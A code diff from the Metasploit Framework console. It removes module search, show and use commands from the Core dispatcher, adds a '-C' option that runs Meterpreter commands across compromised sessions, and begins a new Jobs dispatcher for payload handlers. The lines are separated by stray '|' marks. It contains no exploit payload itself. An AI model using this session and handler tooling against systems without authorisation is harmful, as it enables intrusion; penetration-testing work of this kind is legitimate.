paths.delete_if { |f| f.nil? or File.basename(f) == '.' or File.basename(f) == '..' }
|
||||
else
|
||||
d = Dir.glob(str + "*").map { |f| f if File.directory?(f) }
|
||||
d.delete_if { |f| f.nil? or f == '.' or f == '..' }
|
||||
# If there's only one possibility, descend to the next level
|
||||
if (1 == d.length)
|
||||
paths = Dir.entries(d[0])
|
||||
paths = paths.map { |f|
|
||||
if File.directory? File.join(d[0],f)
|
||||
File.join(d[0],f)
|
||||
end
|
||||
}
|
||||
paths.delete_if { |f| f.nil? or File.basename(f) == '.' or File.basename(f) == '..' }
|
||||
else
|
||||
paths = d
|
||||
end
|
||||
end
|
||||
paths.sort!
|
||||
return paths
|
||||
end
|
||||
|
||||
def cmd_search_help
|
||||
print_line "Usage: search [keywords]"
|
||||
print_line
|
||||
print_line "Keywords:"
|
||||
{
|
||||
'app' => 'Modules that are client or server attacks',
|
||||
'author' => 'Modules written by this author',
|
||||
'bid' => 'Modules with a matching Bugtraq ID',
|
||||
'cve' => 'Modules with a matching CVE ID',
|
||||
'edb' => 'Modules with a matching Exploit-DB ID',
|
||||
'name' => 'Modules with a matching descriptive name',
|
||||
'platform' => 'Modules affecting this platform',
|
||||
'ref' => 'Modules with a matching ref',
|
||||
'type' => 'Modules of a specific type (exploit, auxiliary, or post)',
|
||||
}.each_pair do |keyword, description|
|
||||
print_line " #{keyword.ljust 10}: #{description}"
|
||||
end
|
||||
print_line
|
||||
print_line "Examples:"
|
||||
print_line " search cve:2009 type:exploit app:client"
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Searches modules for specific keywords
|
||||
#
|
||||
def cmd_search(*args)
|
||||
match = ''
|
||||
@@search_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-t"
|
||||
print_error("Deprecated option. Use type:#{val} instead")
|
||||
cmd_search_help
|
||||
return
|
||||
when "-h"
|
||||
cmd_search_help
|
||||
return
|
||||
else
|
||||
match += val + " "
|
||||
end
|
||||
}
|
||||
|
||||
if framework.db
|
||||
if framework.db.migrated && framework.db.modules_cached
|
||||
search_modules_sql(match)
|
||||
return
|
||||
else
|
||||
print_warning("Module database cache not built yet, using slow search")
|
||||
end
|
||||
else
|
||||
print_warning("Database not connected, using slow search")
|
||||
end
|
||||
|
||||
tbl = generate_module_table("Matching Modules")
|
||||
[
|
||||
framework.exploits,
|
||||
framework.auxiliary,
|
||||
framework.post,
|
||||
framework.payloads,
|
||||
framework.nops,
|
||||
framework.encoders
|
||||
].each do |mset|
|
||||
mset.each do |m|
|
||||
o = mset.create(m[0]) rescue nil
|
||||
|
||||
# Expected if modules are loaded without the right pre-requirements
|
||||
next if not o
|
||||
|
||||
if not o.search_filter(match)
|
||||
tbl << [ o.fullname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), o.rank_to_s, o.name ]
|
||||
end
|
||||
end
|
||||
end
|
||||
print_line(tbl.to_s)
|
||||
|
||||
end
|
||||
|
||||
# Prints table of modules matching the search_string.
|
||||
#
|
||||
# @param (see Msf::DBManager#search_modules)
|
||||
# @return [void]
|
||||
def search_modules_sql(search_string)
|
||||
tbl = generate_module_table("Matching Modules")
|
||||
framework.db.search_modules(search_string).each do |o|
|
||||
tbl << [ o.fullname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), RankingName[o.rank].to_s, o.name ]
|
||||
end
|
||||
print_line(tbl.to_s)
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the search command
|
||||
#
|
||||
# @param str [String] the string currently being typed before tab was hit
|
||||
# @param words [Array<String>] the previously completed words on the command line. words is always
|
||||
# at least 1 when tab completion has reached this stage since the command itself has been completed
|
||||
|
||||
def cmd_search_tabs(str, words)
|
||||
if words.length == 1
|
||||
return @@search_opts.fmt.keys
|
||||
end
|
||||
|
||||
case (words[-1])
|
||||
when "-r"
|
||||
return RankingName.sort.map{|r| r[1]}
|
||||
when "-t"
|
||||
return %w{auxiliary encoder exploit nop payload post}
|
||||
end
|
||||
|
||||
[]
|
||||
end
|
||||
|
||||
def cmd_spool_help
|
||||
print_line "Usage: spool <off>|<filename>"
|
||||
@@ -1812,6 +1046,9 @@ class Core
|
||||
when "-c"
|
||||
method = 'cmd'
|
||||
cmds << val if val
|
||||
when "-C"
|
||||
method = 'meterp-cmd'
|
||||
cmds << val if val
|
||||
when "-x"
|
||||
show_extended = true
|
||||
when "-v"
|
||||
@@ -1934,6 +1171,40 @@ class Core
|
||||
# commands on), so don't bother.
|
||||
end
|
||||
end
|
||||
when 'meterp-cmd'
|
||||
if cmds.length < 1
|
||||
print_error("No command specified!")
|
||||
return false
|
||||
end
|
||||
|
||||
if sid
|
||||
sessions = session_list
|
||||
else
|
||||
sessions = framework.sessions.keys.sort
|
||||
end
|
||||
if sessions.blank?
|
||||
print_error("Please specify valid session identifier(s) using -i")
|
||||
return false
|
||||
end
|
||||
|
||||
cmds.each do |cmd|
|
||||
sessions.each do |session|
|
||||
session = verify_session(session)
|
||||
unless session.type == 'meterpreter'
|
||||
print_error "Session ##{session.sid} is not a Meterpreter shell. Skipping..."
|
||||
next
|
||||
end
|
||||
|
||||
next unless session
|
||||
print_status("Running '#{cmd}' on #{session.type} session #{session.sid} (#{session.session_host})")
|
||||
if session.respond_to?(:response_timeout)
|
||||
last_known_timeout = session.response_timeout
|
||||
session.response_timeout = response_timeout
|
||||
end
|
||||
|
||||
output = session.run_cmd cmd
|
||||
end
|
||||
end
|
||||
when 'kill'
|
||||
print_status("Killing the following session(s): #{session_list.join(', ')}")
|
||||
session_list.each do |sess_id|
|
||||
@@ -2330,122 +1601,6 @@ class Core
|
||||
cmd_set_tabs(str, words)
|
||||
end
|
||||
|
||||
def cmd_show_help
|
||||
global_opts = %w{all encoders nops exploits payloads auxiliary plugins info options}
|
||||
print_status("Valid parameters for the \"show\" command are: #{global_opts.join(", ")}")
|
||||
|
||||
module_opts = %w{ missing advanced evasion targets actions }
|
||||
print_status("Additional module-specific parameters are: #{module_opts.join(", ")}")
|
||||
end
|
||||
|
||||
#
|
||||
# Displays the list of modules based on their type, or all modules if
|
||||
# no type is provided.
|
||||
#
|
||||
def cmd_show(*args)
|
||||
mod = self.active_module
|
||||
|
||||
args << "all" if (args.length == 0)
|
||||
|
||||
args.each { |type|
|
||||
case type
|
||||
when '-h'
|
||||
cmd_show_help
|
||||
when 'all'
|
||||
show_encoders
|
||||
show_nops
|
||||
show_exploits
|
||||
show_payloads
|
||||
show_auxiliary
|
||||
show_post
|
||||
show_plugins
|
||||
when 'encoders'
|
||||
show_encoders
|
||||
when 'nops'
|
||||
show_nops
|
||||
when 'exploits'
|
||||
show_exploits
|
||||
when 'payloads'
|
||||
show_payloads
|
||||
when 'auxiliary'
|
||||
show_auxiliary
|
||||
when 'post'
|
||||
show_post
|
||||
when 'info'
|
||||
cmd_info(*args[1, args.length])
|
||||
when 'options'
|
||||
if (mod)
|
||||
show_options(mod)
|
||||
else
|
||||
show_global_options
|
||||
end
|
||||
when 'missing'
|
||||
if (mod)
|
||||
show_missing(mod)
|
||||
else
|
||||
print_error("No module selected.")
|
||||
end
|
||||
when 'advanced'
|
||||
if (mod)
|
||||
show_advanced_options(mod)
|
||||
else
|
||||
print_error("No module selected.")
|
||||
end
|
||||
when 'evasion'
|
||||
if (mod)
|
||||
show_evasion_options(mod)
|
||||
else
|
||||
print_error("No module selected.")
|
||||
end
|
||||
when 'sessions'
|
||||
if (active_module and active_module.respond_to?(:compatible_sessions))
|
||||
sessions = active_module.compatible_sessions
|
||||
else
|
||||
sessions = framework.sessions.keys.sort
|
||||
end
|
||||
print_line
|
||||
print(Serializer::ReadableText.dump_sessions(framework, :session_ids => sessions))
|
||||
print_line
|
||||
when "plugins"
|
||||
show_plugins
|
||||
when "targets"
|
||||
if (mod and mod.exploit?)
|
||||
show_targets(mod)
|
||||
else
|
||||
print_error("No exploit module selected.")
|
||||
end
|
||||
when "actions"
|
||||
if mod && mod.kind_of?(Msf::Module::HasActions)
|
||||
show_actions(mod)
|
||||
else
|
||||
print_error("No module with actions selected.")
|
||||
end
|
||||
|
||||
else
|
||||
print_error("Invalid parameter \"#{type}\", use \"show -h\" for more information")
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the show command
|
||||
#
|
||||
# @param str [String] the string currently being typed before tab was hit
|
||||
# @param words [Array<String>] the previously completed words on the command line. words is always
|
||||
# at least 1 when tab completion has reached this stage since the command itself has been completed
|
||||
|
||||
def cmd_show_tabs(str, words)
|
||||
return [] if words.length > 1
|
||||
|
||||
res = %w{all encoders nops exploits payloads auxiliary post plugins options}
|
||||
if (active_module)
|
||||
res.concat(%w{ missing advanced evasion targets actions })
|
||||
if (active_module.respond_to? :compatible_sessions)
|
||||
res << "sessions"
|
||||
end
|
||||
end
|
||||
return res
|
||||
end
|
||||
|
||||
def cmd_unload_help
|
||||
print_line "Usage: unload <plugin name>"
|
||||
@@ -2669,203 +1824,6 @@ class Core
|
||||
|
||||
alias cmd_unsetg_help cmd_unset_help
|
||||
|
||||
def cmd_use_help
|
||||
print_line "Usage: use module_name"
|
||||
print_line
|
||||
print_line "The use command is used to interact with a module of a given name."
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Uses a module.
|
||||
#
|
||||
def cmd_use(*args)
|
||||
if (args.length == 0)
|
||||
cmd_use_help
|
||||
return false
|
||||
end
|
||||
|
||||
# Try to create an instance of the supplied module name
|
||||
mod_name = args[0]
|
||||
|
||||
begin
|
||||
mod = framework.modules.create(mod_name)
|
||||
unless mod
|
||||
# Try one more time; see #4549
|
||||
sleep CMD_USE_TIMEOUT
|
||||
mod = framework.modules.create(mod_name)
|
||||
unless mod
|
||||
print_error("Failed to load module: #{mod_name}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
rescue Rex::AmbiguousArgumentError => info
|
||||
print_error(info.to_s)
|
||||
rescue NameError => info
|
||||
log_error("The supplied module name is ambiguous: #{$!}.")
|
||||
end
|
||||
|
||||
return false if (mod == nil)
|
||||
|
||||
# Enstack the command dispatcher for this module type
|
||||
dispatcher = nil
|
||||
|
||||
case mod.type
|
||||
when Msf::MODULE_ENCODER
|
||||
dispatcher = Msf::Ui::Console::CommandDispatcher::Encoder
|
||||
when Msf::MODULE_EXPLOIT
|
||||
dispatcher = Msf::Ui::Console::CommandDispatcher::Exploit
|
||||
when Msf::MODULE_NOP
|
||||
dispatcher = Msf::Ui::Console::CommandDispatcher::Nop
|
||||
when Msf::MODULE_PAYLOAD
|
||||
dispatcher = Msf::Ui::Console::CommandDispatcher::Payload
|
||||
when Msf::MODULE_AUX
|
||||
dispatcher = Msf::Ui::Console::CommandDispatcher::Auxiliary
|
||||
when Msf::MODULE_POST
|
||||
dispatcher = Msf::Ui::Console::CommandDispatcher::Post
|
||||
else
|
||||
print_error("Unsupported module type: #{mod.type}")
|
||||
return false
|
||||
end
|
||||
|
||||
# If there's currently an active module, enqueque it and go back
|
||||
if (active_module)
|
||||
@previous_module = active_module
|
||||
cmd_back()
|
||||
end
|
||||
|
||||
if (dispatcher != nil)
|
||||
driver.enstack_dispatcher(dispatcher)
|
||||
end
|
||||
|
||||
# Update the active module
|
||||
self.active_module = mod
|
||||
|
||||
# If a datastore cache exists for this module, then load it up
|
||||
if @dscache[active_module.fullname]
|
||||
active_module.datastore.update(@dscache[active_module.fullname])
|
||||
end
|
||||
|
||||
@cache_payloads = nil
|
||||
mod.init_ui(driver.input, driver.output)
|
||||
|
||||
# Update the command prompt
|
||||
prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt
|
||||
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
|
||||
driver.update_prompt("#{prompt} #{mod.type}(%bld%red#{mod.shortname}%clr) ", prompt_char, true)
|
||||
end
|
||||
|
||||
#
|
||||
# Command to take to the previously active module
|
||||
#
|
||||
def cmd_previous()
|
||||
if @previous_module
|
||||
self.cmd_use(@previous_module.fullname)
|
||||
else
|
||||
print_error("There isn't a previous module at the moment")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Help for the 'previous' command
|
||||
#
|
||||
def cmd_previous_help
|
||||
print_line "Usage: previous"
|
||||
print_line
|
||||
print_line "Set the previously loaded module as the current module"
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Command to enqueque a module on the module stack
|
||||
#
|
||||
def cmd_pushm(*args)
|
||||
# could check if each argument is a valid module, but for now let them hang themselves
|
||||
if args.count > 0
|
||||
args.each do |arg|
|
||||
@module_name_stack.push(arg)
|
||||
# Note new modules are appended to the array and are only module (full)names
|
||||
end
|
||||
else #then just push the active module
|
||||
if active_module
|
||||
#print_status "Pushing the active module"
|
||||
@module_name_stack.push(active_module.fullname)
|
||||
else
|
||||
print_error("There isn't an active module and you didn't specify a module to push")
|
||||
return self.cmd_pushm_help
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the pushm command
|
||||
#
|
||||
# @param str [String] the string currently being typed before tab was hit
|
||||
# @param words [Array<String>] the previously completed words on the command line. words is always
|
||||
# at least 1 when tab completion has reached this stage since the command itself has been completed
|
||||
|
||||
def cmd_pushm_tabs(str, words)
|
||||
tab_complete_module(str, words)
|
||||
end
|
||||
|
||||
#
|
||||
# Help for the 'pushm' command
|
||||
#
|
||||
def cmd_pushm_help
|
||||
print_line "Usage: pushm [module1 [,module2, module3...]]"
|
||||
print_line
|
||||
print_line "push current active module or specified modules onto the module stack"
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Command to dequeque a module from the module stack
|
||||
#
|
||||
def cmd_popm(*args)
|
||||
if (args.count > 1 or not args[0].respond_to?("to_i"))
|
||||
return self.cmd_popm_help
|
||||
elsif args.count == 1
|
||||
# then pop 'n' items off the stack, but don't change the active module
|
||||
if args[0].to_i >= @module_name_stack.count
|
||||
# in case they pass in a number >= the length of @module_name_stack
|
||||
@module_name_stack = []
|
||||
print_status("The module stack is empty")
|
||||
else
|
||||
@module_name_stack.pop[args[0]]
|
||||
end
|
||||
else #then just pop the array and make that the active module
|
||||
pop = @module_name_stack.pop
|
||||
if pop
|
||||
return self.cmd_use(pop)
|
||||
else
|
||||
print_error("There isn't anything to pop, the module stack is empty")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Help for the 'popm' command
|
||||
#
|
||||
def cmd_popm_help
|
||||
print_line "Usage: popm [n]"
|
||||
print_line
|
||||
print_line "pop the latest module off of the module stack and make it the active module"
|
||||
print_line "or pop n modules off the stack, but don't change the active module"
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the use command
|
||||
#
|
||||
# @param str [String] the string currently being typed before tab was hit
|
||||
# @param words [Array<String>] the previously completed words on the command line. words is always
|
||||
# at least 1 when tab completion has reached this stage since the command itself has been completd
|
||||
|
||||
def cmd_use_tabs(str, words)
|
||||
return [] if words.length > 1
|
||||
|
||||
tab_complete_module(str, words)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the revision of the framework and console library
|
||||
@@ -3023,22 +1981,6 @@ class Core
|
||||
tabs
|
||||
end
|
||||
|
||||
#
|
||||
# Tab complete module names
|
||||
#
|
||||
def tab_complete_module(str, words)
|
||||
res = []
|
||||
framework.modules.module_types.each do |mtyp|
|
||||
mset = framework.modules.module_names(mtyp)
|
||||
mset.each do |mref|
|
||||
res << mtyp + '/' + mref
|
||||
end
|
||||
end
|
||||
|
||||
return res.sort
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Provide tab completion for option values
|
||||
#
|
||||
@@ -3341,252 +2283,7 @@ class Core
|
||||
return binary_paths.include? Msf::Config.install_root
|
||||
end
|
||||
|
||||
#
|
||||
# Module list enumeration
|
||||
#
|
||||
|
||||
def show_encoders(regex = nil, minrank = nil, opts = nil) # :nodoc:
|
||||
# If an active module has been selected and it's an exploit, get the
|
||||
# list of compatible encoders and display them
|
||||
if (active_module and active_module.exploit? == true)
|
||||
show_module_set("Compatible Encoders", active_module.compatible_encoders, regex, minrank, opts)
|
||||
else
|
||||
show_module_set("Encoders", framework.encoders, regex, minrank, opts)
|
||||
end
|
||||
end
|
||||
|
||||
def show_nops(regex = nil, minrank = nil, opts = nil) # :nodoc:
|
||||
show_module_set("NOP Generators", framework.nops, regex, minrank, opts)
|
||||
end
|
||||
|
||||
def show_exploits(regex = nil, minrank = nil, opts = nil) # :nodoc:
|
||||
show_module_set("Exploits", framework.exploits, regex, minrank, opts)
|
||||
end
|
||||
|
||||
def show_payloads(regex = nil, minrank = nil, opts = nil) # :nodoc:
|
||||
# If an active module has been selected and it's an exploit, get the
|
||||
# list of compatible payloads and display them
|
||||
if (active_module and active_module.exploit? == true)
|
||||
show_module_set("Compatible Payloads", active_module.compatible_payloads, regex, minrank, opts)
|
||||
else
|
||||
show_module_set("Payloads", framework.payloads, regex, minrank, opts)
|
||||
end
|
||||
end
|
||||
|
||||
def show_auxiliary(regex = nil, minrank = nil, opts = nil) # :nodoc:
|
||||
show_module_set("Auxiliary", framework.auxiliary, regex, minrank, opts)
|
||||
end
|
||||
|
||||
def show_post(regex = nil, minrank = nil, opts = nil) # :nodoc:
|
||||
show_module_set("Post", framework.post, regex, minrank, opts)
|
||||
end
|
||||
|
||||
def show_options(mod) # :nodoc:
|
||||
mod_opt = Serializer::ReadableText.dump_options(mod, ' ')
|
||||
print("\nModule options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
|
||||
|
||||
# If it's an exploit and a payload is defined, create it and
|
||||
# display the payload's options
|
||||
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
||||
p = framework.payloads.create(mod.datastore['PAYLOAD'])
|
||||
|
||||
if (!p)
|
||||
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
|
||||
return
|
||||
end
|
||||
|
||||
p.share_datastore(mod.datastore)
|
||||
|
||||
if (p)
|
||||
p_opt = Serializer::ReadableText.dump_options(p, ' ')
|
||||
print("\nPayload options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
|
||||
end
|
||||
end
|
||||
|
||||
# Print the selected target
|
||||
if (mod.exploit? and mod.target)
|
||||
mod_targ = Serializer::ReadableText.dump_exploit_target(mod, ' ')
|
||||
print("\nExploit target:\n\n#{mod_targ}\n") if (mod_targ and mod_targ.length > 0)
|
||||
end
|
||||
|
||||
# Print the selected action
|
||||
if mod.kind_of?(Msf::Module::HasActions) && mod.action
|
||||
mod_action = Serializer::ReadableText.dump_module_action(mod, ' ')
|
||||
print("\n#{mod.type.capitalize} action:\n\n#{mod_action}\n") if (mod_action and mod_action.length > 0)
|
||||
end
|
||||
|
||||
# Uncomment this line if u want target like msf2 format
|
||||
#print("\nTarget: #{mod.target.name}\n\n")
|
||||
end
|
||||
|
||||
def show_missing(mod) # :nodoc:
|
||||
mod_opt = Serializer::ReadableText.dump_options(mod, ' ', true)
|
||||
print("\nModule options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
|
||||
|
||||
# If it's an exploit and a payload is defined, create it and
|
||||
# display the payload's options
|
||||
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
||||
p = framework.payloads.create(mod.datastore['PAYLOAD'])
|
||||
|
||||
if (!p)
|
||||
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
|
||||
return
|
||||
end
|
||||
|
||||
p.share_datastore(mod.datastore)
|
||||
|
||||
if (p)
|
||||
p_opt = Serializer::ReadableText.dump_options(p, ' ', true)
|
||||
print("\nPayload options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def show_global_options
|
||||
columns = [ 'Option', 'Current Setting', 'Description' ]
|
||||
tbl = Table.new(
|
||||
Table::Style::Default,
|
||||
'Header' => 'Global Options:',
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Columns' => columns
|
||||
)
|
||||
[
|
||||
[ 'ConsoleLogging', framework.datastore['ConsoleLogging'] || "false", 'Log all console input and output' ],
|
||||
[ 'LogLevel', framework.datastore['LogLevel'] || "0", 'Verbosity of logs (default 0, max 3)' ],
|
||||
[ 'MinimumRank', framework.datastore['MinimumRank'] || "0", 'The minimum rank of exploits that will run without explicit confirmation' ],
|
||||
[ 'SessionLogging', framework.datastore['SessionLogging'] || "false", 'Log all input and output for sessions' ],
|
||||
[ 'TimestampOutput', framework.datastore['TimestampOutput'] || "false", 'Prefix all console output with a timestamp' ],
|
||||
[ 'Prompt', framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt.to_s.gsub(/%.../,"") , "The prompt string" ],
|
||||
[ 'PromptChar', framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar.to_s.gsub(/%.../,""), "The prompt character" ],
|
||||
[ 'PromptTimeFormat', framework.datastore['PromptTimeFormat'] || Time::DATE_FORMATS[:db].to_s, 'Format for timestamp escapes in prompts' ],
|
||||
].each { |r| tbl << r }
|
||||
|
||||
print(tbl.to_s)
|
||||
end
|
||||
|
||||
def show_targets(mod) # :nodoc:
|
||||
mod_targs = Serializer::ReadableText.dump_exploit_targets(mod, ' ')
|
||||
print("\nExploit targets:\n\n#{mod_targs}\n") if (mod_targs and mod_targs.length > 0)
|
||||
end
|
||||
|
||||
def show_actions(mod) # :nodoc:
|
||||
mod_actions = Serializer::ReadableText.dump_module_actions(mod, ' ')
|
||||
print("\n#{mod.type.capitalize} actions:\n\n#{mod_actions}\n") if (mod_actions and mod_actions.length > 0)
|
||||
end
|
||||
|
||||
def show_advanced_options(mod) # :nodoc:
|
||||
mod_opt = Serializer::ReadableText.dump_advanced_options(mod, ' ')
|
||||
print("\nModule advanced options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
|
||||
|
||||
# If it's an exploit and a payload is defined, create it and
|
||||
# display the payload's options
|
||||
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
||||
p = framework.payloads.create(mod.datastore['PAYLOAD'])
|
||||
|
||||
if (!p)
|
||||
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
|
||||
return
|
||||
end
|
||||
|
||||
p.share_datastore(mod.datastore)
|
||||
|
||||
if (p)
|
||||
p_opt = Serializer::ReadableText.dump_advanced_options(p, ' ')
|
||||
print("\nPayload advanced options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def show_evasion_options(mod) # :nodoc:
|
||||
mod_opt = Serializer::ReadableText.dump_evasion_options(mod, ' ')
|
||||
print("\nModule evasion options:\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
|
||||
|
||||
# If it's an exploit and a payload is defined, create it and
|
||||
# display the payload's options
|
||||
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
||||
p = framework.payloads.create(mod.datastore['PAYLOAD'])
|
||||
|
||||
if (!p)
|
||||
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
|
||||
return
|
||||
end
|
||||
|
||||
p.share_datastore(mod.datastore)
|
||||
|
||||
if (p)
|
||||
p_opt = Serializer::ReadableText.dump_evasion_options(p, ' ')
|
||||
print("\nPayload evasion options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def show_plugins # :nodoc:
|
||||
tbl = Table.new(
|
||||
Table::Style::Default,
|
||||
'Header' => 'Plugins',
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Columns' => [ 'Name', 'Description' ]
|
||||
)
|
||||
|
||||
framework.plugins.each { |plugin|
|
||||
tbl << [ plugin.name, plugin.desc ]
|
||||
}
|
||||
|
||||
print(tbl.to_s)
|
||||
end
|
||||
|
||||
def show_module_set(type, module_set, regex = nil, minrank = nil, opts = nil) # :nodoc:
|
||||
tbl = generate_module_table(type)
|
||||
module_set.sort.each { |refname, mod|
|
||||
o = nil
|
||||
|
||||
begin
|
||||
o = mod.new
|
||||
rescue ::Exception
|
||||
end
|
||||
next if not o
|
||||
|
||||
# handle a search string, search deep
|
||||
if (
|
||||
not regex or
|
||||
o.name.match(regex) or
|
||||
o.description.match(regex) or
|
||||
o.refname.match(regex) or
|
||||
o.references.map{|x| [x.ctx_id + '-' + x.ctx_val, x.to_s]}.join(' ').match(regex) or
|
||||
o.author.to_s.match(regex)
|
||||
)
|
||||
if (not minrank or minrank <= o.rank)
|
||||
show = true
|
||||
if opts
|
||||
mod_opt_keys = o.options.keys.map { |x| x.downcase }
|
||||
|
||||
opts.each do |opt,val|
|
||||
if !mod_opt_keys.include?(opt.downcase) || (val != nil && o.datastore[opt] != val)
|
||||
show = false
|
||||
end
|
||||
end
|
||||
end
|
||||
if (opts == nil or show == true)
|
||||
tbl << [ refname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), o.rank_to_s, o.name ]
|
||||
end
|
||||
end
|
||||
end
|
||||
}
|
||||
|
||||
print(tbl.to_s)
|
||||
end
|
||||
|
||||
def generate_module_table(type) # :nodoc:
|
||||
Table.new(
|
||||
Table::Style::Default,
|
||||
'Header' => type,
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Columns' => [ 'Name', 'Disclosure Date', 'Rank', 'Description' ]
|
||||
)
|
||||
end
|
||||
#
|
||||
# Returns an array of lines at the provided line number plus any before and/or after lines requested
|
||||
# from all_lines by supplying the +before+ and/or +after+ parameters which are always positive
|
||||
@@ -3606,35 +2303,7 @@ class Core
|
||||
all_lines.slice(start..finish)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an array of job or session IDs from a given range String.
|
||||
# Always returns an Array.
|
||||
#
|
||||
# @param id_list [String] Range or list description such as 1-5 or 1,3,5 etc
|
||||
# @return [Array<String>] Representing the range
|
||||
def build_range_array(id_list)
|
||||
item_list = []
|
||||
unless id_list.blank?
|
||||
temp_list = id_list.split(',')
|
||||
temp_list.each do |ele|
|
||||
return if ele.count('-') > 1
|
||||
return if ele.first == '-' || ele[-1] == '-'
|
||||
return if ele.first == '.' || ele[-1] == '.'
|
||||
|
||||
if ele.include? '-'
|
||||
temp_array = (ele.split("-").inject { |s, e| s.to_i..e.to_i }).to_a
|
||||
item_list.concat(temp_array)
|
||||
elsif ele.include? '..'
|
||||
temp_array = (ele.split("..").inject { |s, e| s.to_i..e.to_i }).to_a
|
||||
item_list.concat(temp_array)
|
||||
else
|
||||
item_list.push(ele.to_i)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
item_list.uniq.sort
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
@@ -0,0 +1,341 @@
|
||||
# frozen_string_literal: true
|
||||
# -*- coding: binary -*-
|
||||
|
||||
#
|
||||
# Rex
|
||||
#
|
||||
|
||||
require 'rex/ui/text/output/buffer/stdout'
|
||||
|
||||
module Msf
|
||||
module Ui
|
||||
module Console
|
||||
module CommandDispatcher
|
||||
#
|
||||
# {CommandDispatcher} for commands related to background jobs in Metasploit Framework.
|
||||
#
|
||||
class Jobs
|
||||
include Msf::Ui::Console::CommandDispatcher
|
||||
|
||||
@@handler_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help Banner"],
|
||||
"-x" => [ false, "Shut the Handler down after a session is established"],
|
||||
"-p" => [ true, "The payload to configure the handler for"],
|
||||
"-P" => [ true, "The RPORT/LPORT to configure the handler for"],
|
||||
"-H" => [ true, "The RHOST/LHOST to configure the handler for"],
|
||||
"-e" => [ true, "An Encoder to use for Payload Stage Encoding"],
|
||||
"-n" => [ true, "The custom name to give the handler job"]
|
||||
)
|
||||
|
||||
@@jobs_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner." ],
|
||||
"-k" => [ true, "Terminate jobs by job ID and/or range." ],
|
||||
"-K" => [ false, "Terminate all running jobs." ],
|
||||
"-i" => [ true, "Lists detailed information about a running job."],
|
||||
"-l" => [ false, "List all running jobs." ],
|
||||
"-v" => [ false, "Print more detailed info. Use with -i and -l" ]
|
||||
)
|
||||
|
||||
def commands
|
||||
{
|
||||
"jobs" => "Displays and manages jobs",
|
||||
"rename_job" => "Rename a job",
|
||||
"kill" => "Kill a job",
|
||||
"handler" => "Start a payload handler as job"
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the name of the command dispatcher.
|
||||
#
|
||||
def name
|
||||
"Job"
|
||||
end
|
||||
|
||||
def cmd_rename_job_help
|
||||
print_line "Usage: rename_job [ID] [Name]"
|
||||
print_line
|
||||
print_line "Example: rename_job 0 \"meterpreter HTTPS special\""
|
||||
print_line
|
||||
print_line "Rename a job that's currently active."
|
||||
print_line "You may use the jobs command to see what jobs are available."
|
||||
print_line
|
||||
end
|
||||
|
||||
def cmd_rename_job(*args)
|
||||
if args.include?('-h') || args.length != 2 || args[0] !~ /^\d+$/
|
||||
cmd_rename_job_help
|
||||
return false
|
||||
end
|
||||
|
||||
job_id = args[0].to_s
|
||||
job_name = args[1].to_s
|
||||
|
||||
unless framework.jobs[job_id]
|
||||
print_error("Job #{job_id} does not exist.")
|
||||
return false
|
||||
end
|
||||
|
||||
# This is not respecting the Protected access control, but this seems to be the only way
|
||||
# to rename a job. If you know a more appropriate way, patches accepted.
|
||||
framework.jobs[job_id].send(:name=, job_name)
|
||||
print_status("Job #{job_id} updated")
